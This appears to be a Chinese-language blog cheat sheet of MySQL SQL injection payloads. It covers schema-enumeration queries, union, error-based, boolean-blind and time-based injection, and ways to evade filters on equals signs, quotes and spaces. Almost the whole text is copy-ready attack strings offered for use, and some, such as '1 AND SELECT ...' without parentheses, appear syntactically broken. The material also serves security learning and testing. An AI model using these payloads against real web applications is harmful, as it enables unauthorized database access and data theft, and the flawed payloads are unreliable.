一、常用查询语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 查询第一个数据库名
SELECT schema_name FROM information_schema.schemata limit 0,1;
# 查询第二个数据库名
SELECT schema_name FROM information_schema.schemata limit 1,1;
# 查询某个数据库下的所有表
SELECT table_name FROM information_schema.tables where table_schema="dbname";
# 查询某个表下的所有字段名
SELECT column_name FROM information_schema.columns where table_schema="dbname" and table_name="tbname";
# 查询当前数据库
SELECT database();
# 查询当前用户名
SELECT user();
# 查询当前数据版本
SELECT version();
# 或
SELECT @@version;

二、常见注入类型和手法

1.有回显注入-联合查询注入

1
2
3
4
5
6
# 按照第几个字段进行排序,当超出字段数会显示不存在这个字段
ORDER BY 3;
# 针对于有查询回显的,可确定哪个字段内容回显在页面的哪个位置
1 UNION SELECT 1,2,3;
# 若字段3有回显位置,则在该位置输入查询语句
1 UNION SELECT 1,2,(SELECT database());

2.有回显注入-报错注入

1
2
3
4
5
6
7
8
9
10
# 存在SQL注入的语句应类似于SELECT * FROM table_name where id=1
# 数据类型溢出报错注入
1 AND SELECT (!x - ~0) FROM (SELECT(SELECT database())x)a;
# 使用exp函数实现整数类型溢出报错注入
1 AND SELECT exp(~(SELECT * FROM (SELECT database())a));
# XPATH语法错误报错注入 长度小于32
1 AND SELECT EXTRACTVALUE('', concat(0x3a,(select database()),0x3a));
1 AND SELECT UPDATEXML('', concat(0x3a,(select database()),0x3a),1);
# floor报错注入
1 AND SELECT count(*),concat((select database()),'|',floor(rand(0)*2)) as x FROM information_schema.tables group by x;

3.无回显注入-布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 布尔注入,判断当前数据库名称的第一个字符的ascii码是否大于100
1 AND ASCII(SUBSTR((SELECT database()),1,1))>100;
# 查询第二个字符的ascii码是否大于100
1 AND ASCII(SUBSTR((SELECT database()),2,1))>100;

# order by if 注入(需要知道字段名称),根据前面条件的truefalse,数据排序不同
ORDER BY IF(1=2,id,username);
# order by if 注入(不需要知道字段名称),当前面条件为true时,页面显示正常,前面条件为false时,页面显示不正常
ORDER BY IF(1=2,1,(SELECT id FROM information_schema.tables));

# order by case when注入(需要知道字段名称),根据前面条件的truefalse,数据排序不同
ORDER BY CASE WHEN 1=1 THEN id ELSE username END;
# order by case when注入(不需要知道字段名称) 前面条件为true时,页面显示正常,前面条件为false时,页面显示不正常
ORDER BY CASE WHEN 1=2 THEN 1 ELSE (SELECT id from information_schema.tables);

# 有时候页面没有变化时,采用报错使页面异常,使其true时页面正常,fasle页面异常
1 AND IF(1=1,1,exp(1000))
# 或者用CASE WHEN
1 AND (CASE WHEN 1=1 THEN 1 ELSE exp(1000) END)

4.无回显注入-时间盲注

与布尔注入语句一致,只需加上sleep函数即可

1
2
3
4
5
6
7
8
# sleep延时注入,当条件为true时,延时3s
1 AND IF(1=1,SLEEP(3),1);

# order by if 注入(不需要知道字段名称) 也可以结合sleep,前面条件为true时,延时3s
ORDER BY IF(1=1,SLEEP(3),1);

# order by case when注入(不需要知道字段名称)
ORDER BY CASE WHEN 1=1 THEN SLEEP(3) END;

三、常见绕过

1.等号

使用like语句进行绕过:

1
2
3
4
5
6
7
8
9
10
# 获取当前数据库长度,当`_`的个数等于当前数据库长度时,该条件语句为`true`
(select database()) like '_____'
# 获取当前数据库第一个字符
substr((select database()),1,1) like 's'
# 或
(select database()) like 's%'
# 获取当前数据库前两个字符
substr((select database()),1,2) like 'se'
# 或
(select database()) like 'se%'

还有其他类似于inregexpregexp_like()等等就不一一举例了。

2.单引号或双引号

当单引号或双引号被过滤时,在整数型注入的前提下(需要使用单引号或双引号必合的SQL语句除了宽字节注入外,我暂时也想不到有其他什么方法),可使用concatconcat_ws之类的函数进行替代。

1
2
3
4
5
6
7
# 判断当前数据库的第一个字符为s,转ascii为115
substr((select database()),1,1) like concat(char(115));
# 判断当前数据库的前两个字符为se
substr((select database()),1,2) like concat(char(115),char(101));
# 也可以使用16进制进行绕过
substr((select database()),1,2) like 0x7365;
# 还可以通过其他的编码函数进行替代

3.空格绕过

1
2
3
# 使用多行注释符代替空格
substr((select/**/database()),1,1)/**/like/**/concat(char(115));
# 使用其他不可见字符,例如%0a,%0b等等,其中%0a实际上是换行,在http数据包可以使用url编码进行替代,这就不做演示

其他更多绕过之后会单独写篇文章,本篇主要总结常用的SQL语句